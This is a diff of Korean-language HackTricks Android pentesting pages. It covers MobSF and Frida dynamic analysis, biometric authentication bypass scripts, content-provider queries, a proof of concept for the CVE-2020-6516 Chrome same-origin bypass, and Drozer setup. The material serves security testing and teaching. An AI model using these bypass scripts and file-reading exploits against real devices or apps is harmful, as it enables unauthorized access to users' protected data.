변경하고, 값을 변경하고, 값을 추출하고, 다른 코드를 실행할 수 있습니다...**\ Android 애플리케이션을 펜테스트하려면 Frida를 사용하는 방법을 알아야 합니다. @@ -482,7 +452,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a ``` ### **Keystore의 민감한 데이터** -Android에서 Keystore는 민감한 데이터를 저장하기에 가장 좋은 장소이지만, 충분한 권한이 있으면 여전히 **접근할 수 있습니다**. 애플리케이션이 여기에서 **명확한 텍스트로 민감한 데이터를 저장하는 경향이 있기 때문에** 펜테스트는 루트 사용자로 확인해야 하며, 물리적으로 장치에 접근할 수 있는 사람은 이 데이터를 훔칠 수 있습니다. +Android에서 Keystore는 민감한 데이터를 저장하기에 가장 좋은 장소이지만, 충분한 권한이 있으면 여전히 **접근할 수 있습니다**. 애플리케이션이 여기에서 **명확한 텍스트로 민감한 데이터를 저장하는 경향이 있기 때문에** 펜테스트는 이를 확인해야 하며, 루트 사용자 또는 장치에 물리적으로 접근할 수 있는 사람이 이 데이터를 훔칠 수 있습니다. 앱이 keystore에 데이터를 저장하더라도, 데이터는 암호화되어야 합니다. @@ -492,19 +462,19 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **지문/생체 인식 우회** -다음 Frida 스크립트를 사용하면 **지문 인증을 우회**할 수 있을 것입니다. Android 애플리케이션이 **특정 민감한 영역을 보호하기 위해 수행할 수 있습니다:** +다음 Frida 스크립트를 사용하면 **지문 인증을 우회**할 수 있을 수 있으며, Android 애플리케이션이 **특정 민감한 영역을 보호하기 위해 수행할 수 있습니다:** ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` ### **배경 이미지** -애플리케이션을 백그라운드에 두면 Android는 **애플리케이션의 스냅샷**을 저장하므로, 포그라운드로 복구될 때 앱보다 이미지를 먼저 로드하여 앱이 더 빨리 로드된 것처럼 보입니다. +애플리케이션을 백그라운드에 두면, Android는 **애플리케이션의 스냅샷**을 저장하므로, 포그라운드로 복구될 때 앱보다 이미지를 먼저 로드하여 앱이 더 빨리 로드된 것처럼 보입니다. 그러나 이 스냅샷에 **민감한 정보**가 포함되어 있다면, 스냅샷에 접근할 수 있는 사람은 **그 정보를 훔칠 수 있습니다** (접근하려면 루트 권한이 필요합니다). 스냅샷은 일반적으로 다음 위치에 저장됩니다: **`/data/system_ce/0/snapshots`** -Android는 **FLAG_SECURE** 레이아웃 매개변수를 설정하여 스크린샷 캡처를 **방지하는 방법**을 제공합니다. 이 플래그를 사용하면 창의 내용이 안전하게 처리되어 스크린샷에 나타나거나 비안전한 디스플레이에서 볼 수 없게 됩니다. +Android는 **FLAG_SECURE** 레이아웃 매개변수를 설정하여 스크린샷 캡처를 **방지하는 방법**을 제공합니다. 이 플래그를 사용하면 창 내용이 안전한 것으로 처리되어 스크린샷에 나타나거나 비안전한 디스플레이에서 볼 수 없게 됩니다. ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` @@ -516,14 +486,14 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); 개발자는 종종 이러한 인텐트를 처리하고 `startActivity(...)` 또는 `sendBroadcast(...)`와 같은 메서드로 전달하는 프록시 구성 요소인 활동, 서비스 및 브로드캐스트 수신기를 생성합니다. 이는 위험할 수 있습니다. -위험은 공격자가 이러한 인텐트를 잘못 유도하여 비공개 앱 구성 요소를 트리거하거나 민감한 콘텐츠 제공자에 접근할 수 있도록 허용하는 데 있습니다. 주목할 만한 예는 `WebView` 구성 요소가 URL을 `Intent` 객체로 변환하는 `Intent.parseUri(...)`를 통해 이를 실행하여 악의적인 인텐트 주입으로 이어질 수 있습니다. +위험은 공격자가 이러한 인텐트를 잘못 유도하여 비공개 앱 구성 요소를 트리거하거나 민감한 콘텐츠 제공자에 접근할 수 있도록 허용하는 데 있습니다. 주목할 만한 예는 `WebView` 구성 요소가 URL을 `Intent` 객체로 변환하는 `Intent.parseUri(...)`를 통해 이를 실행하여 악의적인 인텐트 주입으로 이어질 수 있는 경우입니다. -### 필수 요점 +### 주요 요점 - **인텐트 주입**은 웹의 오픈 리디렉션 문제와 유사합니다. - 익스플로잇은 `Intent` 객체를 추가로 전달하여 안전하지 않은 작업을 실행하도록 리디렉션할 수 있습니다. - 비공개 구성 요소와 콘텐츠 제공자를 공격자에게 노출할 수 있습니다. -- `WebView`의 URL을 `Intent`로 변환하는 것은 의도하지 않은 작업을 촉진할 수 있습니다. +- `WebView`의 URL을 `Intent`로 변환하는 과정은 의도하지 않은 작업을 촉진할 수 있습니다. ### 안드로이드 클라이언트 측 주입 및 기타 @@ -537,21 +507,6 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); --- -
- -경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요! - -**해킹 통찰력**\ -해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요. - -**실시간 해킹 뉴스**\ -실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요. - -**최신 발표**\ -새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요. - -오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하여 최고의 해커들과 협업을 시작하세요! - ## 자동 분석 ### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) @@ -560,43 +515,43 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ![](<../../images/image (866).png>) -**멋진 웹 기반 프론트엔드를 사용한 애플리케이션의 취약점 평가**. 동적 분석도 수행할 수 있지만 환경을 준비해야 합니다. +**애플리케이션의 취약점 평가**를 위한 멋진 웹 기반 프론트엔드를 사용합니다. 동적 분석도 수행할 수 있지만 환경을 준비해야 합니다. ```bash docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest ``` MobSF는 **Android**(apk)**, IOS**(ipa) **및 Windows**(apx) 애플리케이션을 분석할 수 있습니다 (_Windows 애플리케이션은 Windows 호스트에 설치된 MobSF에서 분석해야 합니다_).\ -또한, **Android** 또는 **IOS** 앱의 소스 코드로 **ZIP** 파일을 생성하면 (애플리케이션의 루트 폴더로 이동하여 모든 것을 선택하고 ZIP 파일을 생성), 그것도 분석할 수 있습니다. +또한 **Android** 또는 **IOS** 앱의 소스 코드로 **ZIP** 파일을 생성하면 (애플리케이션의 루트 폴더로 이동하여 모든 것을 선택하고 ZIP 파일을 생성), 그것도 분석할 수 있습니다. -MobSF는 또한 **diff/비교** 분석을 허용하고 **VirusTotal**와 통합할 수 있습니다 (API 키를 _MobSF/settings.py_에 설정하고 활성화해야 합니다: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). `VT_UPLOAD`를 `False`로 설정하면 **해시**가 파일 대신 **업로드**됩니다. +MobSF는 또한 **diff/비교** 분석을 허용하고 **VirusTotal**을 통합할 수 있습니다 (API 키를 _MobSF/settings.py_에 설정하고 활성화해야 합니다: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). `VT_UPLOAD`를 `False`로 설정하면 **해시**가 파일 대신 **업로드**됩니다. ### MobSF를 이용한 보조 동적 분석 -**MobSF**는 **Android**에서 **동적 분석**에 매우 유용할 수 있지만, 이 경우 MobSF와 **genymotion**을 호스트에 설치해야 합니다 (VM 또는 Docker는 작동하지 않습니다). _참고: **먼저 genymotion에서 VM을 시작한 후** **MobSF를 시작해야 합니다.**_\ +**MobSF**는 **Android**에서 **동적 분석**에 매우 유용할 수 있지만, 이 경우 MobSF와 **genymotion**을 호스트에 설치해야 합니다 (VM이나 Docker는 작동하지 않습니다). _참고: **먼저 genymotion에서 VM을 시작한 후** **MobSF를 시작해야 합니다.**_\ **MobSF 동적 분석기**는 다음을 수행할 수 있습니다: -- **애플리케이션 데이터 덤프** (URL, 로그, 클립보드, 사용자가 만든 스크린샷, "**Exported Activity Tester**"가 만든 스크린샷, 이메일, SQLite 데이터베이스, XML 파일 및 기타 생성된 파일). 이 모든 것은 자동으로 수행되며, 스크린샷은 원할 때 눌러야 하거나 "**Exported Activity Tester**"를 눌러 모든 내보낸 활동의 스크린샷을 얻어야 합니다. +- **애플리케이션 데이터 덤프** (URL, 로그, 클립보드, 사용자가 만든 스크린샷, "**Exported Activity Tester**"가 만든 스크린샷, 이메일, SQLite 데이터베이스, XML 파일 및 기타 생성된 파일). 이 모든 것은 자동으로 수행되지만 스크린샷은 사용자가 원할 때 눌러야 하며, 모든 내보낸 활동의 스크린샷을 얻으려면 "**Exported Activity Tester**"를 눌러야 합니다. - **HTTPS 트래픽 캡처** - **Frida**를 사용하여 **런타임** **정보**를 얻기 -안드로이드 **버전 > 5**에서는 **Frida를 자동으로 시작**하고 **트래픽 캡처**를 위해 전역 **프록시** 설정을 설정합니다. 테스트된 애플리케이션에서만 트래픽을 캡처합니다. +Android **버전 > 5**부터는 **Frida**를 **자동으로 시작**하고 **트래픽 캡처**를 위해 전역 **프록시** 설정을 설정합니다. 테스트된 애플리케이션에서만 트래픽을 캡처합니다. **Frida** 기본적으로 SSL 핀닝, **루트 탐지** 및 **디버거 탐지**를 우회하고 **흥미로운 API**를 모니터링하기 위해 일부 Frida 스크립트를 사용합니다.\ MobSF는 또한 **내보낸 활동을 호출**하고, 그들의 **스크린샷을 캡처**하여 보고서에 **저장**할 수 있습니다. -**동적 테스트를 시작하려면** 초록색 버튼: "**Start Instrumentation**"을 누르십시오. "**Frida Live Logs**"를 눌러 Frida 스크립트에 의해 생성된 로그를 보고, "**Live API Monitor**"를 눌러 후킹된 메서드에 대한 모든 호출, 전달된 인수 및 반환된 값을 확인하십시오 (이것은 "Start Instrumentation"을 누른 후에 나타납니다).\ +**동적 테스트를 시작**하려면 초록색 버튼: "**Start Instrumentation**"을 누르십시오. "**Frida Live Logs**"를 눌러 Frida 스크립트에 의해 생성된 로그를 보고, "**Live API Monitor**"를 눌러 후킹된 메서드에 대한 모든 호출, 전달된 인수 및 반환된 값을 확인하십시오 (이것은 "Start Instrumentation"을 누른 후에 나타납니다).\ MobSF는 또한 자신의 **Frida 스크립트**를 로드할 수 있습니다 (Frida 스크립트의 결과를 MobSF에 보내려면 `send()` 함수를 사용하십시오). 또한 로드할 수 있는 **여러 사전 작성된 스크립트**가 있습니다 (더 추가할 수 있습니다 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), 그냥 **선택하고**, "**Load**"를 누르고 "**Start Instrumentation**"을 누르십시오 (해당 스크립트의 로그는 "**Frida Live Logs**"에서 볼 수 있습니다). ![](<../../images/image (419).png>) -또한, 몇 가지 보조 Frida 기능이 있습니다: +또한 몇 가지 보조 Frida 기능이 있습니다: -- **로드된 클래스 나열**: 모든 로드된 클래스를 인쇄합니다. -- **문자열 캡처**: 애플리케이션을 사용하는 동안 모든 캡처 문자열을 인쇄합니다 (매우 시끄러움). +- **로드된 클래스 나열**: 모든 로드된 클래스를 출력합니다. +- **문자열 캡처**: 애플리케이션을 사용하는 동안 모든 캡처 문자열을 출력합니다 (매우 시끄러움). - **문자열 비교 캡처**: 매우 유용할 수 있습니다. **비교되는 2개의 문자열**과 결과가 True인지 False인지 보여줍니다. -- **클래스 메서드 나열**: 클래스 이름(예: "java.io.File")을 입력하면 클래스의 모든 메서드를 인쇄합니다. +- **클래스 메서드 나열**: 클래스 이름(예: "java.io.File")을 입력하면 클래스의 모든 메서드를 출력합니다. - **클래스 패턴 검색**: 패턴으로 클래스를 검색합니다. - **클래스 메서드 추적**: **전체 클래스**를 **추적**합니다 (클래스의 모든 메서드의 입력 및 출력을 확인합니다). 기본적으로 MobSF는 여러 흥미로운 Android API 메서드를 추적합니다. @@ -604,7 +559,7 @@ MobSF는 또한 자신의 **Frida 스크립트**를 로드할 수 있습니다 ( **Shell** -Mobsf는 또한 동적 분석 페이지 하단에 일부 **adb** 명령, **MobSF 명령** 및 일반 **쉘** **명령**이 포함된 셸을 제공합니다. 몇 가지 흥미로운 명령: +Mobsf는 또한 동적 분석 페이지 하단에 일부 **adb** 명령, **MobSF 명령** 및 일반 **셸** **명령**이 포함된 셸을 제공합니다. 몇 가지 흥미로운 명령: ```bash help shell ls @@ -615,7 +570,7 @@ receivers ``` **HTTP 도구** -HTTP 트래픽이 캡처되면 "**HTTP(S) Traffic**" 하단에서 캡처된 트래픽의 보기 좋지 않은 형태를 볼 수 있으며, "**Start HTTPTools**" 녹색 버튼에서 더 나은 보기를 볼 수 있습니다. 두 번째 옵션에서 **캡처된 요청**을 Burp 또는 Owasp ZAP과 같은 **프록시**로 **전송**할 수 있습니다.\ +HTTP 트래픽이 캡처되면 "**HTTP(S) Traffic**" 하단에서 캡처된 트래픽의 보기 좋지 않은 형태를 볼 수 있으며, "**Start HTTPTools**" 녹색 버튼에서 더 나은 보기를 볼 수 있습니다. 두 번째 옵션에서 **캡처된 요청**을 **프록시**인 Burp 또는 Owasp ZAP으로 **전송**할 수 있습니다.\ 이를 위해, _Burp 켜기 -->_ _Intercept 끄기 --> MobSB HTTPTools에서 요청 선택_ --> "**Send to Fuzzer**" 버튼을 누르기 --> _프록시 주소 선택_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP 요청을 퍼징**하고 취약점을 찾아볼 수 있습니다. @@ -630,7 +585,7 @@ MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP ### Inspeckage를 이용한 보조 동적 분석 [**Inspeckage**](https://github.com/ac-pm/Inspeckage)에서 도구를 받을 수 있습니다.\ -이 도구는 **동적 분석**을 수행하는 동안 **애플리케이션에서 무슨 일이 일어나고 있는지** 알 수 있도록 몇 가지 **후크**를 사용합니다. +이 도구는 **동적 분석**을 수행하는 동안 **애플리케이션에서 무슨 일이 일어나고 있는지** 알리기 위해 몇 가지 **Hooks**를 사용합니다. ### [Yaazhini](https://www.vegabird.com/yaazhini/) @@ -640,7 +595,7 @@ MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP ### [Qark](https://github.com/linkedin/qark) -이 도구는 **소스 코드** 또는 **패키지된 APK**에서 여러 **보안 관련 Android 애플리케이션 취약점**을 찾도록 설계되었습니다. 이 도구는 또한 발견된 일부 취약점을 악용하기 위한 **"Proof-of-Concept" 배포 가능한 APK** 및 **ADB 명령**을 생성할 수 있습니다 (노출된 활동, 인텐트, 탭재킹...). Drozer와 마찬가지로 테스트 장치를 루팅할 필요가 없습니다. +이 도구는 **소스 코드** 또는 **패키지된 APK**에서 여러 **보안 관련 Android 애플리케이션 취약점**을 찾기 위해 설계되었습니다. 이 도구는 또한 발견된 일부 취약점을 악용하기 위한 **"Proof-of-Concept" 배포 가능한 APK** 및 **ADB 명령**을 생성할 수 있습니다 (노출된 활동, 인텐트, 탭재킹 등...). Drozer와 마찬가지로 테스트 장치를 루팅할 필요가 없습니다. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -651,7 +606,7 @@ qark --java path/to/specific/java/file.java - 모든 추출된 파일을 쉽게 참조할 수 있도록 표시 - APK 파일을 자동으로 Java 및 Smali 형식으로 디컴파일 -- 일반적인 취약점 및 동작을 위해 AndroidManifest.xml 분석 +- 일반적인 취약점 및 동작을 위한 AndroidManifest.xml 분석 - 일반적인 취약점 및 동작에 대한 정적 소스 코드 분석 - 장치 정보 - 기타 등등 @@ -662,9 +617,9 @@ reverse-apk relative/path/to/APP.apk SUPER는 Windows, MacOS X 및 Linux에서 사용할 수 있는 명령줄 애플리케이션으로, 취약점을 찾기 위해 _.apk_ 파일을 분석합니다. 이는 APK를 압축 해제하고 일련의 규칙을 적용하여 이러한 취약점을 감지합니다. -모든 규칙은 `rules.json` 파일에 중심을 두고 있으며, 각 회사나 테스터는 필요에 따라 분석할 자체 규칙을 만들 수 있습니다. +모든 규칙은 `rules.json` 파일에 중심을 두고 있으며, 각 회사나 테스터는 필요에 따라 분석할 규칙을 만들 수 있습니다. -최신 바이너리는 [download page](https://superanalyzer.rocks/download.html)에서 다운로드하세요. +최신 바이너리는 [다운로드 페이지](https://superanalyzer.rocks/download.html)에서 다운로드하세요. ``` super-analyzer {apk_file} ``` @@ -674,7 +629,7 @@ super-analyzer {apk_file} StaCoAn은 개발자, 버그 바운티 헌터 및 윤리적 해커가 모바일 애플리케이션에 대해 [정적 코드 분석](https://en.wikipedia.org/wiki/Static_program_analysis)을 수행하는 데 도움을 주는 **크로스 플랫폼** 도구입니다. -개념은 모바일 애플리케이션 파일(.apk 또는 .ipa 파일)을 StaCoAn 애플리케이션에 드래그 앤 드롭하면 시각적이고 휴대 가능한 보고서를 생성하는 것입니다. 설정과 단어 목록을 조정하여 맞춤형 경험을 얻을 수 있습니다. +개념은 모바일 애플리케이션 파일(.apk 또는 .ipa 파일)을 StaCoAn 애플리케이션에 드래그 앤 드롭하면 시각적이고 휴대 가능한 보고서를 생성한다는 것입니다. 설정과 단어 목록을 조정하여 맞춤형 경험을 얻을 수 있습니다. 다운로드[ 최신 릴리스](https://github.com/vincentcox/StaCoAn/releases): ``` @@ -715,7 +670,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ### Koodous -악성코드를 탐지하는 데 유용합니다: [https://koodous.com/](https://koodous.com) +악성 소프트웨어를 탐지하는 데 유용합니다: [https://koodous.com/](https://koodous.com) ## 코드 난독화/디오브스큐레이션 @@ -729,7 +684,7 @@ ProGuard는 Android SDK의 일부로 배포되며 애플리케이션을 릴리 ### [DexGuard](https://www.guardsquare.com/dexguard) -[https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)에서 APK를 디오브스큐레이션하는 단계별 가이드를 찾으세요. +APK를 디오브스큐레이션하는 단계별 가이드를 [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)에서 찾을 수 있습니다. (그 가이드에서) 마지막으로 확인했을 때, Dexguard의 작동 모드는 다음과 같았습니다: @@ -745,9 +700,13 @@ ProGuard는 Android SDK의 일부로 배포되며 애플리케이션을 릴리 난독화된 APK를 그들의 플랫폼에 업로드할 수 있습니다. +### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app) + +이것은 Android 앱에서 잠재적인 보안 취약점을 찾고 Android 앱 코드를 디오브스큐레이션하는 LLM 도구입니다. Google의 Gemini 공개 API를 사용합니다. + ### [Simplify](https://github.com/CalebFenton/simplify) -이는 **일반적인 안드로이드 디오브스큐레이터**입니다. Simplify는 **앱을 가상 실행**하여 그 동작을 이해하고, **코드를 최적화**하여 동일하게 동작하지만 사람이 이해하기 쉽게 만듭니다. 각 최적화 유형은 간단하고 일반적이므로 사용된 특정 난독화 유형은 중요하지 않습니다. +이는 **일반 Android 디오브스큐레이터**입니다. Simplify는 **앱을 가상 실행**하여 그 동작을 이해하고, **코드를 최적화**하여 동일하게 동작하지만 사람이 이해하기 쉽게 만듭니다. 각 최적화 유형은 간단하고 일반적이므로 사용된 특정 난독화 유형은 중요하지 않습니다. ### [APKiD](https://github.com/rednaga/APKiD) @@ -755,13 +714,13 @@ APKiD는 **APK가 어떻게 만들어졌는지**에 대한 정보를 제공합 ### Manual -[사용자 정의 난독화를 역전시키는 방법에 대한 몇 가지 요령을 배우려면 이 튜토리얼을 읽으세요](manual-deobfuscation.md) +[사용자 정의 난독화를 리버스하는 방법에 대한 몇 가지 요령을 배우려면 이 튜토리얼을 읽으세요](manual-deobfuscation.md) ## Labs ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4b는 우분투-메이트 기반의 Android 보안 가상 머신으로, 리버스 엔지니어링 및 악성코드 분석을 위한 최신 프레임워크, 튜토리얼 및 다양한 보안 전문가와 연구자들의 실습을 포함합니다. +AndroL4b는 우분투-메이트 기반의 Android 보안 가상 머신으로, 리버스 엔지니어링 및 악성 소프트웨어 분석을 위한 최신 프레임워크, 튜토리얼 및 다양한 보안 전문가와 연구자들의 실험실을 포함합니다. ## References @@ -777,19 +736,4 @@ AndroL4b는 우분투-메이트 기반의 Android 보안 가상 머신으로, - [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/) - [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit) -
- -[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하여 경험이 풍부한 해커 및 버그 바운티 헌터와 소통하세요! - -**Hacking Insights**\ -해킹의 스릴과 도전에 대한 내용을 다루는 콘텐츠에 참여하세요. - -**Real-Time Hack News**\ -실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 최신 상태로 유지하세요. - -**Latest Announcements**\ -새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요. - -오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하여 최고의 해커들과 협업을 시작하세요! - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md b/src/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md index 33507cba2..e5293a597 100644 --- a/src/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md +++ b/src/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md @@ -2,15 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -
- -8kSec 아카데미와 함께 **모바일 보안**에 대한 전문성을 심화하세요. 자율 학습 과정을 통해 iOS 및 Android 보안을 마스터하고 인증을 받으세요: - -{% embed url="https://academy.8ksec.io/" %} - ## **방법 1 – 암호화 객체 사용 없이 우회하기** -여기서의 초점은 인증 과정에서 중요한 _onAuthenticationSucceeded_ 콜백입니다. WithSecure의 연구자들은 NULL _CryptoObject_를 _onAuthenticationSucceeded(...)_에서 우회할 수 있는 [Frida 스크립트](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js)를 개발했습니다. 이 스크립트는 메서드 호출 시 지문 인증을 자동으로 우회하도록 강제합니다. 아래는 Android 지문 컨텍스트에서 우회를 보여주는 간단한 코드 조각이며, 전체 애플리케이션은 [GitHub](https://github.com/St3v3nsS/InsecureBanking)에서 확인할 수 있습니다. +여기서의 초점은 인증 과정에서 중요한 _onAuthenticationSucceeded_ 콜백입니다. WithSecure의 연구자들은 NULL _CryptoObject_를 _onAuthenticationSucceeded(...)_에서 우회할 수 있는 [Frida 스크립트](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js)를 개발했습니다. 이 스크립트는 메서드 호출 시 지문 인증을 자동으로 우회하도록 강제합니다. 아래는 안드로이드 지문 컨텍스트에서 우회를 보여주는 간단한 코드 조각이며, 전체 애플리케이션은 [GitHub](https://github.com/St3v3nsS/InsecureBanking)에서 확인할 수 있습니다. ```javascript biometricPrompt = new BiometricPrompt(this, executor, new BiometricPrompt.AuthenticationCallback() { @Override @@ -60,19 +54,14 @@ frida -U -l script-to-bypass-authentication.js --no-pause -f com.generic.in ## **방법 5 – 사용자 정의 인증 도구 사용** -인증 메커니즘을 테스트하고 우회하도록 설계된 전문 도구와 스크립트가 있습니다. 예를 들어: +인증 메커니즘을 테스트하고 우회하기 위해 설계된 전문 도구와 스크립트가 있습니다. 예를 들어: 1. **MAGISK 모듈**: MAGISK는 사용자가 장치를 루팅하고 지문을 포함한 하드웨어 수준 정보를 수정하거나 스푸핑할 수 있는 모듈을 추가할 수 있는 Android 도구입니다. -2. **사용자 정의 스크립트**: Android Debug Bridge (ADB)와 상호 작용하거나 애플리케이션의 백엔드와 직접 상호 작용하여 지문 인증을 시뮬레이션하거나 우회하는 스크립트를 작성할 수 있습니다. +2. **사용자 정의 스크립트**: Android Debug Bridge (ADB)와 상호작용하거나 애플리케이션의 백엔드와 직접 상호작용하여 지문 인증을 시뮬레이션하거나 우회하는 스크립트를 작성할 수 있습니다. ## 참고 문헌 - [https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/](https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/) -
- -8kSec 아카데미와 함께 **모바일 보안**에 대한 전문성을 심화하세요. 자율 학습 과정을 통해 iOS 및 Android 보안을 마스터하고 인증을 받으세요: - -{% embed url="https://academy.8ksec.io/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/content-protocol.md b/src/mobile-pentesting/android-app-pentesting/content-protocol.md index 454217b4e..4901ffa86 100644 --- a/src/mobile-pentesting/android-app-pentesting/content-protocol.md +++ b/src/mobile-pentesting/android-app-pentesting/content-protocol.md @@ -1,14 +1,10 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} - **이것은 게시물의 요약입니다 [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)** -### 미디어 스토어에서 파일 나열하기 +### 미디어 저장소의 파일 나열 -미디어 스토어에서 관리되는 파일을 나열하려면 아래 명령어를 사용할 수 있습니다: +미디어 저장소에서 관리되는 파일을 나열하려면 아래 명령을 사용할 수 있습니다: ```bash $ content query --uri content://media/external/file ``` @@ -20,9 +16,9 @@ $ content query --uri content://media/external/file --projection _id,_data ### Chrome의 콘텐츠 제공자 접근 -Android의 Chrome은 `content://` 스킴을 통해 콘텐츠 제공자에 접근할 수 있어, 타사 애플리케이션에서 내보낸 사진이나 문서와 같은 리소스에 접근할 수 있습니다. 이를 설명하기 위해, 파일을 미디어 스토어에 삽입한 다음 Chrome을 통해 접근할 수 있습니다: +Android의 Chrome은 `content://` 스킴을 통해 콘텐츠 제공자에 접근할 수 있어, 타사 애플리케이션에서 내보낸 사진이나 문서와 같은 리소스에 접근할 수 있습니다. 이를 설명하기 위해, 파일을 미디어 저장소에 삽입한 다음 Chrome을 통해 접근할 수 있습니다: -미디어 스토어에 사용자 정의 항목 삽입: +미디어 저장소에 사용자 정의 항목 삽입: ```bash cd /sdcard echo "Hello, world!" > test.txt @@ -46,7 +42,7 @@ content query --uri content://media/external/file --projection _id,_data | grep _동일 출처 정책_ (SOP)은 브라우저에서 서로 다른 출처의 리소스와 상호작용하는 것을 제한하는 보안 프로토콜로, Cross-Origin-Resource-Sharing (CORS) 정책에 의해 명시적으로 허용되지 않는 한 허용되지 않습니다. 이 정책은 정보 유출 및 교차 사이트 요청 위조를 방지하는 것을 목표로 합니다. Chrome은 `content://`를 로컬 스킴으로 간주하여, 각 로컬 스킴 URL이 별도의 출처로 취급되는 더 엄격한 SOP 규칙을 의미합니다. -그러나 CVE-2020-6516은 `content://` URL을 통해 로드된 리소스에 대한 SOP 규칙을 우회할 수 있는 Chrome의 취약점이었습니다. 결과적으로, `content://` URL의 JavaScript 코드는 다른 `content://` URL을 통해 로드된 리소스에 접근할 수 있었으며, 이는 특히 Android 10 이전 버전에서 구현되지 않은 범위 저장소를 사용하는 Android 기기에서 중요한 보안 문제였습니다. +그러나 CVE-2020-6516은 `content://` URL을 통해 로드된 리소스에 대한 SOP 규칙을 우회할 수 있는 Chrome의 취약점이었습니다. 결과적으로, `content://` URL의 JavaScript 코드는 다른 `content://` URL을 통해 로드된 리소스에 접근할 수 있었으며, 이는 특히 Android 10 이전 버전에서 구현되지 않은 범위 저장소를 실행하는 Android 장치에서 중요한 보안 문제였습니다. 아래의 개념 증명은 이 취약점을 보여주며, HTML 문서가 **/sdcard**에 업로드되고 미디어 저장소에 추가된 후, JavaScript에서 `XMLHttpRequest`를 사용하여 미디어 저장소의 다른 파일 내용을 접근하고 표시하여 SOP 규칙을 우회합니다. @@ -79,8 +75,4 @@ xhr.send(); ``` -
- -{% embed url="https://websec.nl/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md index c113cc3d7..4d63e6b04 100644 --- a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md @@ -2,28 +2,24 @@ {{#include ../../../banners/hacktricks-training.md}} - -**버그 바운티 팁**: **Intigriti**에 **가입하세요**, 해커를 위해 해커가 만든 프리미엄 **버그 바운티 플랫폼**입니다! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 바운티를 벌기 시작하세요! - -{% embed url="https://go.intigriti.com/hacktricks" %} ## 테스트할 APK -- [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (mrwlabs에서) +- [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (mrwlabs에서 제공) - [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz) **이 튜토리얼의 일부는** [**Drozer 문서 pdf**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)**에서 발췌되었습니다.** ## 설치 -호스트 내에 Drozer Client를 설치하세요. [최신 릴리스](https://github.com/mwrlabs/drozer/releases)에서 다운로드하세요. +호스트 내에 Drozer Client를 설치합니다. [최신 릴리스](https://github.com/mwrlabs/drozer/releases)에서 다운로드하세요. ```bash pip install drozer-2.4.4-py2-none-any.whl pip install twisted pip install 